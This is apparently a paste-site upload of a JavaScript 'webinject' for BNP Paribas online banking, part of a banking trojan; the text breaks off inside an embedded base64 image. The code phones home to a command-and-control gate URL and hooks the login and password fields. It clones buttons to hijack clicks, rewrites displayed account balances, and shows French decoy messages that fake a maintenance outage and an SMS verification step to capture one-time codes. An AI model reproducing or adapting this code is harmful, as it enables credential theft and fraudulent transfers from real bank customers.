Xylitol icon

BNP Webinject

Xylitol | PRO | 11/01/14 02:17:31 PM UTC | 0 ⭐ | 973 👁️ | Never ⏰ | []
JavaScript |

55.57 KB

|

None

|

0 👍

/

0 👎

//=================== ADMIN =====================
 
var ALINK = "https://securetargeting.com/content/webanalyser/bnp/admin/";
var GATE = ALINK+"gate/gate.php";
 
//=================== INIT PROTOS =====================
 
var By = (function(){
    
    function ByArgs(arguments){
        var found = {
            tag: false,
            error: false,
            element: false
        }
        
        if(arguments && arguments.length >= 3){
            var elements_array = arguments[1].split("|");
            if(elements_array.length > 0){
                for(var k = 0; k < elements_array.length; k++){
                    var elements = arguments[0].getElementsByTagName(elements_array[k]);
                    if(elements && elements.length > 0){
                        for(var i = 0; i < elements.length; i++){
                            for(var e = 2; e < arguments.length; e++){
                                var pattern = new RegExp(arguments[e].split(":")[1],"igm");
                                if(arguments[e].split(":")[0] == "class"){
                                    if(elements[i].className != null && pattern.test(elements[i].className)){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }else if(arguments[e].split(":")[0] == "for"){
                                    if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }else{
                                    if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }
                            }
                            if(found.tag && !found.error){
                                return elements[i];
                            }else{
                                found.tag = false;
                                found.error = false;
                            }
                        }
                    }
                }
                return false;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    function ByContent(arguments){
        
        var found = {
            tag: false,
            error: false,
            element: false
        }
    
        if(arguments && arguments.length > 2){
            var elements = arguments[0].getElementsByTagName(arguments[1]);
            if(elements && elements.length > 0){
                for(var i = 0; i < elements.length; i++){
                    for(var e = 2; e < arguments.length; e++){
                        var pattern = new RegExp(arguments[e]);
                        if(pattern.test(elements[i].innerHTML.toLowerCase())){
                            found.tag = true;
                        }else{
                            found.error = true;
                        }
                    }
                    if(found.tag && !found.error){
                        return elements[i];
                    }else{
                        found.tag = false;
                        found.error = false;
                    }
                }
            }
        }
        return false;
    }
    
    return{
        args: function(){
            return ByArgs(arguments);
        },
        
        content: function(){
            return ByContent(arguments);
        }
    }
    
}())
 
by = By;
 
var Hujax = (function(){
    
    var callback_func = false;
    
    function SetCallback(p){
        callback_func = p;
    }
    
    function Send(url){
        
        var BOTID = document.getElementById("BMUD");    
        if(BOTID){
            BOTID = vw.text(BOTID);
        }else{
            BOTID = "%%ID%%";
        }
        
        url += "&ip="+BOTID;
        
        if(document.getElementById("rgk_ajax")){
            document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
        }
        var script = document.createElement("script");
        script.type = "text/javascript";
        script.id = "rgk_ajax";
        if (script.readyState) {
            script.onreadystatechange = function() {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback_func();
                }
            };
        } else {
            script.onload = function() {
                callback_func();
            };
        }
        url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
        script.src = url;
        if(document.getElementsByTagName("head").length > 0){
            document.getElementsByTagName("head")[0].appendChild(script);
        }else{
            document.getElementsByTagName("body")[0].appendChild(script);
        }
    }
 
    return{
        
        callback: function(param){
            SetCallback(param);
        },
        
        send: function(param){
            Send(param);
        }
 
    }
    
}());
 
hujax = Hujax;
 
var Clone = (function(){
 
    function CheckQ(param){
        if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
            return false;
        }else{
            return true;
        }
    }
 
    function COPY(obj,func){
        if(obj.type == "image"){
            var clo = document.createElement("img");
            for (x in obj.attributes){
                if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                    if(obj.attributes[x].name == "onclick" ||
                       obj.attributes[x].name == "name" ||
                       obj.attributes[x].name == "disabled" ||
                       obj.attributes[x].name == "id"
                    ){
                        continue;
                    }
                    if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
                        clo.setAttribute(obj.attributes[x].name,"button");
                    }else{
                        clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
                    }
                }
            }
        }else{
            var clo = document.createElement(obj.tagName);
            for (x in obj.attributes){
                if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                    if(obj.attributes[x].name == "onclick" ||
                       obj.attributes[x].name == "name" ||
                       obj.attributes[x].name == "disabled" ||
                       obj.attributes[x].name == "href" ||
                       obj.attributes[x].name == "id"
                    ){
                        continue;
                    }
                    if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
                        clo.setAttribute(obj.attributes[x].name,"button");
                    }else{
                        clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
                    }
                }
            }
        }
        if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
            clo.innerHTML = obj.innerHTML;
        }
        clo.style.cursor = "pointer";
        obj.style.display = "none";
        AddListenner(clo,"click",func);
        obj.parentNode.insertBefore(clo,obj);
    }
    
    function AddListenner(obj,evType,func){
        if(obj.addEventListener ){
            obj.addEventListener(evType,func,false);
            return true;
        }else if(obj.attachEvent){
            var r = obj.attachEvent('on'+evType,func);
            return r;
        }else{
            elm['on'+evType] = func;
        }
    }
    
    function JUSTCOPYINPUT(obj,content){
        var clo = document.createElement(obj.tagName);
        for (x in obj.attributes){
            if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                if(obj.attributes[x].name == "onclick" ||
                   obj.attributes[x].name == "name" ||
                   obj.attributes[x].name == "href" ||
                   obj.attributes[x].name == "id" ||
                   obj.attributes[x].name == "value"
                ){
                    continue;
                }
                clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
            }
        }
        clo.value = content;
        obj.style.display = "none";
        obj.parentNode.insertBefore(clo,obj);
    }
    
    return{
        click: function(obj,func){
            COPY(obj,func);
        },
        
        copy: function(obj,content){
            JUSTCOPYINPUT(obj,content);
        }
    }
    
}())
 
clone = Clone;
 
var VW = (function(){
    
    var fTarget = false;
    var fDeftime = 4;
    var fTime = fDeftime;
    var fCallback = function(){return false;};
    
    function getViewportHeight() {
        var ua = navigator.userAgent.toLowerCase();
        var isOpera = (ua.indexOf('opera')  > -1);
        var isIE = (!isOpera && ua.indexOf('msie') > -1);
        return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
    }
    
    return{
        hidedoc: function(doc){
            var none_div = doc.getElementById("none_div");
            if(none_div){
                none_div.style.display = "";
            }else{
                doc.documentElement.style.display = "none";
            }
        },
        
        showdoc: function(doc){
            var none_div = doc.getElementById("none_div");
            if(none_div){
                none_div.style.display = "none";
            }else{
                doc.documentElement.style.display = "";
            }
        },
        
        browser: function(){
            if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
                return "IE6";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
                return "IE7";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
                return "IE8";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
                return "IE9";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
                return "IE10";
            }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
                return "FF";
            }else{
                return "OTHER";
            }
        },
        
        bind: function(obj, evType, func){
        
            if(obj.removeEventListener){
                obj.removeEventListener(evType,func,false);
            }else if(obj.detachEvent){
                obj.detachEvent ('on'+evType,func);
            }
            
            if(obj.addEventListener ){
                obj.addEventListener(evType,func,false);
                return true;
            }else if(obj.attachEvent){
                var r = obj.attachEvent('on'+evType,func);
                return r;
            }else{
                elm['on'+evType] = func;
            }
            
        },
        
        mouse: function(eve,element){
            if(document.createEvent){
                var event = document.createEvent('MouseEvents');
                event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
                element.dispatchEvent(event);
            }else if(element.fireEvent){
                if(eve == "click"){
                    element.click();
                }else{
                    var event = document.createEventObject();
                    element.fireEvent('on'+eve, event);
                }
            }
        },
        
        text: function(param){
            if(param){
                var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
                return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
            }else{
                return "";
            }
        },
        
        from: function(parent,child){
            return parent && child ? parent.getElementsByTagName(child) : false;
        },
        
        digits: function(digits){
            var RES = {
                NUMBERS:"",
                OTHER: ""
            }
            var res = '';
            if(digits && digits.length > 0){
                digits = digits.replace(/\u2212/g, "-");
                var ValidChars = "0123456789";
                for(var i = 0;i < digits.length; i++){
                    var Char = digits.charAt(i);
                    if(ValidChars.indexOf(Char) >=0){
                        res += Char;
                    }else{
                        RES.OTHER += Char;
                    }
                }
            }
            RES.NUMBERS = parseFloat(res);
            return RES;
        },
        
        blockenter: function(el){
            if(el){
                el.onkeypress = function(evt){
                    var evt = (evt) ? evt : ((event) ? event : null);
                    var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
                    if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
                        return false;
                    }
                }
            }
        },
        
        selected: function(select){
            if(select){
                var RES = {
                    VALUE: "",
                    TEXT: ""
                }
                RES.VALUE = select[select.selectedIndex].value;
                RES.TEXT = select[select.selectedIndex].text;
                return RES;
            }else{
                return false;
            }
        },
        
        docheight: function(){
            return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
        },
        
        docwidth: function(num){
            if(num){
                return (window.screen.availWidth / num);
            }else{
                return window.screen.availWidth;
            }
        },
        
        finder: function(obj,callback,time){
            fTarget = obj;
            fCallback = callback;
            if(time)fTime = time;
            setTimeout(vw._finder,500);
        },
        
        _finder: function(){
            if(fTarget()){
                fCallback();
                fTime = fDeftime;
            }else{
                if(fTime > 0){
                    fTime--;
                    setTimeout(vw._finder,1000);
                }else{
                    fTime = fDeftime;
                }
            }
        },
        
        framedoc: function(frame){
            var RES = {
                DOC: false,
                WIN: false
            }
            if(vw.browser() == "FF" && frame){
                RES.DOC = frame.contentDocument;
                RES.WIN = frame.contentWindow;
            }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
                RES.DOC = frame.contentWindow.document;
                RES.WIN = frame.contentWindow;
            }
            
            return RES;
        },
        
        splitiban: function(iban){
            iban = iban+"";
            var res = iban.substr(0,2)+" ";
            var tmp = iban.substr(2,iban.length);
            var count = 0;
            for(var i = 0; i < tmp.length; i++){
                if(count < 4){
                    res += tmp[i];
                    count++;
                }else{
                    res += " "+tmp[i];
                    count = 1;
                }
                
            }
            return res;
        },
        
        getstyle: function(oElm, strCssRule){
            var strValue = "";
            if(document.defaultView && document.defaultView.getComputedStyle){
                strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
            }
            else if(oElm.currentStyle){
                strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
                    return p1.toUpperCase();
                });
                strValue = oElm.currentStyle[strCssRule];
            }
            return strValue;
        }
 
    }
    
}())
 
vw = VW;
 
var Replacer = (function(){
    
    var start_position = new Array();
    var drop_data = new Array();
    
    var prefix = {
        minus: "-",
        plus: ""
    }
    
    var splitter = {
        value: "none",
        position: "none"
    }
    
    var summGet;
    var summSet;
    
    var masks = new Array();
    
    function Content(param){
        if(param){
            var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
            return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
        }else{
            return "";
        }
    }
    
    function _setArgs(args){
        for(var i = 0; i < args.length; i++){
            start_position.push(args[i]);
        }
    }
    
    function _getArgs(){
        for(var i = 0; i < start_position.length; i++){
            if(start_position[i]){
                return true;
            }
        }
        return false;
    }
    
    function _saveData(args){
        for(var i = 0; i < args.length; i++){
            for(key in args[i]){
                drop_data[key] = args[i][key];
            }
        }
    }
    
    function _getData(name){
        return drop_data[name];
    }
    
    function _setCurrencyFunctions(f1,f2){
        summGet = f1;
        summSet = f2;
    }
    
    function _checkBy(el,data){
        var pattern = new RegExp(drop_data[data],"igm");
        if(pattern.test(el)){
            return true;
        }else{
            return false;
        }
    }
    
    function _textIndex(el,data){
        for(var i = 0; i < el.length; i++){
            if(_checkBy(el[i].text,data)){
                return i;
            }
        }
        return -1;
    }
    
    function _valueIndex(el,data){
        for(var i = 0; i < el.length; i++){
            if(_checkBy(el[i].value,data)){
                return i;
            }
        }
        return -1;
    }
    
    function _replaceTag(element,summa){
 
        var tagSelect = /select|option/igm.test(element.tagName);
        var tagInput = /input|textarea/igm.test(element.tagName);
        
        if(tagSelect){
            if(splitter.value != "none" && splitter.position != "none"){
                var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(element.text.split(splitter.value)[splitter.position]);
            }else{
                var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(element.text);
            }
        }else if(tagInput){
            if(splitter.value != "none" && splitter.position != "none"){
                var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(element.value.split(splitter.value)[splitter.position]);
            }else{
                var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(element.value);
            }
        }else{
            if(splitter.value != "none" && splitter.position != "none"){
                var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(Content(element).split(splitter.value)[splitter.position]);
            }else{
                var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false;
                var balance = summGet(Content(element));
            }
        }       
        
        var new_balance = balance+parseFloat(summa);
        if(minus)balance = balance * -1;
        balance = summSet(balance);
        new_balance = summSet(new_balance);
        
        if(tagSelect){
            var f = element.text.replace(balance+"",new_balance+"");
        }else if(tagInput){
            var f = element.value.replace(balance+"",new_balance+"");
        }else{
            var f = element.innerHTML.replace(balance+"",new_balance+"");
        }
        
        if(parseFloat(new_balance) >= 0){
            f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
            f = f.replace("-"+new_balance+"",new_balance+"");
        }else{
            f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
            f = f.replace(/\-/,"");
        }
        
        if(tagSelect){
            element.text = f;
        }else if(tagInput){
            element.value = f;
        }else{
            element.innerHTML = f;
            if(parseFloat(new_balance) >= 0){
                element.innerHTML = element.innerHTML.replace(/solltexttable/igm,"");
            }
        }
        
        if(splitter.value != "none" && splitter.position != "none"){
            splitter.value = "none";
            splitter.position = "none";
        }
        
    }
    
    function _setSplitter(value,position){
        splitter.value = value;
        splitter.position = position;
    }
    
    function _drawTable(table,class1,class2){
        var index = 0;
        var trs = table.getElementsByTagName("tr");
        if(trs && trs.length > 0){
            for(var i = 0; i < trs.length; i++){
                if(trs[i].className == "ev" || trs[i].className == "od"){
                    if(index % 2 == 0){
                        trs[i].className = class1;
                    }else{
                        trs[i].className = class2;
                    }
                    index++;
                }
            }
        }
    }
    
    function _convertDate(date){
        var splitter = false;
        if(/\./igm.test(date)){
            splitter = ".";
        }else{
            splitter = "/";
        }
        var els = date.split(splitter);
        if(els && els.length == 3){
            var returnValue = 0;
            returnValue += parseFloat(els[2]) * 365;
            returnValue += parseFloat(els[1]) * 30;
            returnValue += parseFloat(els[0]);
            return returnValue;
        }else if(els && els.length == 2){
            var returnValue = 0;
            returnValue += parseFloat(els[2]) * 365;
            returnValue += parseFloat(els[1]) * 30;
            return returnValue;
        }else{
            return -1;
        }
    }
    
    return{
        init: function(){
            _setArgs(arguments);
        },
        
        canstart: function(){
            return _getArgs();
        },
        
        save: function(){
            _saveData(arguments);
        },
        
        check: function(el,data){
            return _checkBy(el,data);
        },
        
        textIndex: function(el,data){
            return _textIndex(el,data);
        },
        
        valueIndex: function(el,data){
            return _valueIndex(el,data);
        },
        
        get: function(name){
            return _getData(name);
        },
        
        currency: function(f1,f2){
            _setCurrencyFunctions(f1,f2);
        },
        
        replace: function (el,amount){
            _replaceTag(el,amount);
        },
        
        splitter: function (value,position){
            _setSplitter(value,position);
        },
        
        drawtable: function (table,class1,class2){
            _drawTable(table,class1,class2);
        },
        
        date: function(str){
            return _convertDate(str);
        },
        
        tomask: function(param){
            masks.push(param);
        },
        
        bymask: function(text){
            for(var i = 0; i < masks.length; i++){
                var pattern = new RegExp(masks[i],"igm");
                if(pattern.test(text)){
                    return true;
                }
            }
            return false;
        }
    }
    
}())
 
replacer = Replacer;
 
var Currency = (function(){
    
    var type_c = false;
    
    function ConvertibleIn(digits){
         var res = '';
          if(digits && digits.length > 0){
            digits = digits.replace(/\u2212/g, "-");
            var ValidChars = "-.0123456789";
            for(var i = 0;i < digits.length; i++){
              var Char = digits.charAt(i);
              if(ValidChars.indexOf(Char) >=0){
                res += Char;
              }
            }
          }
          return parseFloat(res);
    }
    
    function ConvertibleOut(digits,r){
        if(r == 1){
            digits = digits.toString().replace(/\$|\,/g,'');
            if(isNaN(digits))digits = "0";
            sign = (digits == (digits = Math.abs(digits)));
            digits = Math.floor(digits*100+0.50000000001);
            cents = digits%100;
            digits = Math.floor(digits/100).toString();
            if(cents<10)cents = "0" + cents;
            for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
                digits = digits.substring(0,digits.length-(4*i+3))+','+
            digits.substring(digits.length-(4*i+3));
            return (((sign)?'':'-') + digits + '.' + cents);
        }else if(r == 2){
            digits = digits.toString().replace(/\$|\,/g,'');
            if(isNaN(digits))digits = "0";
            sign = (digits == (digits = Math.abs(digits)));
            digits = Math.floor(digits*100+0.50000000001);
            cents = digits%100;
            digits = Math.floor(digits/100).toString();
            if(cents<10)cents = "0" + cents;
            for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
                digits = digits.substring(0,digits.length-(4*i+3))+'.'+
            digits.substring(digits.length-(4*i+3));
            return (((sign)?'':'-') + digits + ',' + cents);
        }else{
            return digits;
        }
    }
    
    function getCurrency(digits){
        if(digits){
            if(/[0-9]/igm.test(digits)){
                if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){
                    type_c = 1;             
                    return ConvertibleIn(digits.replace(/\,/g, ''));
                }else{
                    type_c = 2;
                    return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.'));
                }
            }else{
                return digits;
            }
        }else{
            return digits;
        }
    }
    
    function setCurrency(digits){
        if(type_c == 1 || type_c == 2){
            return ConvertibleOut(digits,type_c);
        }else{
            return digits;
        }
    }
    
    
    return{
        get: function(param){
            return getCurrency(param);
        },
        
        set: function(param){
            return setCurrency(param);
        }
    }
    
}())
 
summ = Currency;
 
//=================== INIT VARIABLES =====================
 
var UI_login_input = by.args(document,"input","type:text","maxlength:10");
var UI_password_input = by.args(document,"input","type:password","maxlength:6");
var UI_login_button_img = by.args(document,"img","src:acount_acces");
if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode;
 
var replacerArray = new Array();
 
var kl = "";
 
var FKTEXT = {
    WAITING: "Attendez, s'il vous pla&#238;t...",
    BLOCKTITLE: "Le service est temporairement inaccessible",
    BLOCKMAIN: "Nous pr&#233;sentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour am&#233;liorer la qualit&#233; du service de nos clients et assurer votre s&#233;curit&#233; sur le niveau sup&#233;rieur. Nos sp&#233;cialistes vont restaurer le travail et l'acc&#232;s aux comptes dans les plus brefs d&#233;lais. Merci de votre patience et compr&#233;hension.",
    BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
    SMSTITLE: "V&#233;rification suppl&#233;mentaire",
    SMSQUERY: "Nous avons introduit, pour l'acc&#232;s plus s&#251;r &#224; vos comptes, un nouveau syst&#232;me de l'identification pour SMS code. Pour continuer inscrivez le code re&#231;u par SMS.",
    SMSLABEL: "Code d'acess"
}
 
var HOLDER = {
    LOGIN: "",
    PASSWORD: "",
    SMS: ""
}
 
var QUERY = {
    COMMAND: "NONE",
    VALUE: false,
    CHANGED: false,
    FINISH: false
}
 
//=================== INIT FAKES FUNCTIONS =====================
 
vw.finish = function(){
    if(!QUERY.CHANGED){
        QUERY.FINISH = true;
    }
}
 
vw.fake_step = function(step,status){
    switch(step){
        case("login"):
            vw.lethim();
        break;
        
        case("relogin"):
            vw.mouse("click",UI_clear_button_1);
            vw.lethim();
        break;
        
        case("wait"):
            var fkWaitContent = '<div style="left:350px;top: 390px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: url(data:image/gif;base64,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